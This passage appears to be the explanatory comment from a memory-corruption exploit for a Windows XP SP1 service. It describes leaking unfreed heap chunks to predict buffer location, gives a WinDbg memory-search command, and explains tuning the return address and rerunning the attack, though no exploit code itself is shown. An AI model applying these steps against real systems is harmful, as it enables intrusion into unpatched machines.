Each request will result in another chunk being allocated, the exception
causes these chunks to never be freed. The large chunk size allows us to
predict the location of our buffer and grow our buffer to where we need it.

If these addresses do not match up, run this exploit, then attach with WinDbg:

> s 0 Lfffffff 0x44 0x5c 0x61 0x01

Figure out the pattern, replace the return address, restart the service,
and run it through again. Only tested on WinXP SP1
